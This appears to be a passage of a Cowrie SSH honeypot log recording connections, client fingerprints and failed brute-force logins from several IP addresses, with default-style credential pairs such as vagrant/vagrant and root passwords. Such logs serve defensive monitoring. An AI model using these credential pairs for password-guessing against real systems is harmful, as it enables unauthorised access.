{"eventid":"cowrie.login.failed","username":"centreon","password":"centreon","message":"login attempt [centreon/centreon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:27.529433Z","src_ip":"91.92.40.153","session":"502b5f3b62fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:28.498011Z","src_ip":"139.99.74.35","session":"e8d8ad6a1407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46262,"dst_ip":"159.203.135.109","dst_port":22,"session":"837e0ad42f59","protocol":"ssh","message":"New connection: 139.99.74.35:46262 (159.203.135.109:22) [session: 837e0ad42f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:28.736304Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:28.800104Z","src_ip":"91.92.40.153","session":"502b5f3b62fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":33240,"dst_ip":"10.17.0.5","dst_port":22,"session":"8553841196ba","protocol":"ssh","message":"New connection: 91.92.40.153:33240 (10.17.0.5:22) [session: 8553841196ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:32.546714Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34728,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eaa009b1d84","protocol":"ssh","message":"New connection: 160.187.174.22:34728 (159.203.135.109:22) [session: 7eaa009b1d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:32.864017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:32.880812Z","src_ip":"160.187.174.22","session":"7eaa009b1d84","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:33.109465Z","src_ip":"91.92.40.153","session":"8553841196ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:33.112604Z","src_ip":"91.92.40.153","session":"8553841196ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:33.495292Z","src_ip":"139.99.74.35","session":"837e0ad42f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:33.605337Z","src_ip":"160.187.174.22","session":"7eaa009b1d84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":46272,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e803b70e121","protocol":"ssh","message":"New connection: 139.99.74.35:46272 (159.203.135.109:22) [session: 4e803b70e121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:33.748302Z"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:34.347626Z","src_ip":"160.187.174.22","session":"7eaa009b1d84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:34.457759Z","src_ip":"91.92.40.153","session":"8553841196ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:35.598964Z","src_ip":"160.187.174.22","session":"7eaa009b1d84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:35.846962Z","src_ip":"91.92.40.153","session":"8553841196ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:38.513928Z","src_ip":"139.99.74.35","session":"4e803b70e121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":47616,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebcc0ec026d","protocol":"ssh","message":"New connection: 139.99.74.35:47616 (159.203.135.109:22) [session: 5ebcc0ec026d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:38.741959Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37776,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd7b71ab2403","protocol":"ssh","message":"New connection: 91.92.40.153:37776 (10.17.0.5:22) [session: bd7b71ab2403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:38.821787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:39.018682Z","src_ip":"91.92.40.153","session":"bd7b71ab2403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:39.021382Z","src_ip":"91.92.40.153","session":"bd7b71ab2403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.132.164.82","src_port":37918,"dst_ip":"10.17.0.5","dst_port":22,"session":"4da4f0ce825a","protocol":"ssh","message":"New connection: 115.132.164.82:37918 (10.17.0.5:22) [session: 4da4f0ce825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:39.320632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:39.324959Z","src_ip":"115.132.164.82","session":"4da4f0ce825a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:39.583900Z","src_ip":"115.132.164.82","session":"4da4f0ce825a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"password","message":"login attempt [appuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:40.113880Z","src_ip":"91.92.40.153","session":"bd7b71ab2403","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nts","password":"nts123","message":"login attempt [nts/nts123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:40.658204Z","src_ip":"115.132.164.82","session":"4da4f0ce825a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:41.885892Z","src_ip":"91.92.40.153","session":"bd7b71ab2403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:41.922885Z","src_ip":"115.132.164.82","session":"4da4f0ce825a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57072,"dst_ip":"10.17.0.5","dst_port":22,"session":"d358dbecd87d","protocol":"ssh","message":"New connection: 91.92.40.153:57072 (10.17.0.5:22) [session: d358dbecd87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:44.698956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:45.011953Z","src_ip":"91.92.40.153","session":"d358dbecd87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:45.015215Z","src_ip":"91.92.40.153","session":"d358dbecd87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:46.908233Z","src_ip":"91.92.40.153","session":"d358dbecd87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:47.289354Z","src_ip":"139.99.74.35","session":"5ebcc0ec026d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45766,"dst_ip":"159.203.135.109","dst_port":22,"session":"17093ff22e4d","protocol":"ssh","message":"New connection: 139.99.74.35:45766 (159.203.135.109:22) [session: 17093ff22e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:47.525668Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:48.066195Z","src_ip":"91.92.40.153","session":"d358dbecd87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":57118,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad935202819","protocol":"ssh","message":"New connection: 91.92.40.153:57118 (10.17.0.5:22) [session: 5ad935202819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:51.385648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:51.546831Z","src_ip":"91.92.40.153","session":"5ad935202819","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:51.559698Z","src_ip":"91.92.40.153","session":"5ad935202819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:52.296353Z","src_ip":"139.99.74.35","session":"17093ff22e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":45770,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d3556002d67","protocol":"ssh","message":"New connection: 139.99.74.35:45770 (159.203.135.109:22) [session: 7d3556002d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:52.523142Z"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad","message":"login attempt [milad/milad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:52.545142Z","src_ip":"91.92.40.153","session":"5ad935202819","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:53.878590Z","src_ip":"91.92.40.153","session":"5ad935202819","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":42354,"dst_ip":"159.203.135.109","dst_port":22,"session":"dccc939f4097","protocol":"ssh","message":"New connection: 160.187.174.22:42354 (159.203.135.109:22) [session: dccc939f4097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.005643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.009932Z","src_ip":"160.187.174.22","session":"dccc939f4097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":58382,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d924a361a96","protocol":"ssh","message":"New connection: 91.92.40.153:58382 (10.17.0.5:22) [session: 0d924a361a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.128889Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.252398Z","src_ip":"160.187.174.22","session":"dccc939f4097","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:05:57.342141Z","src_ip":"91.92.40.153","session":"0d924a361a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com",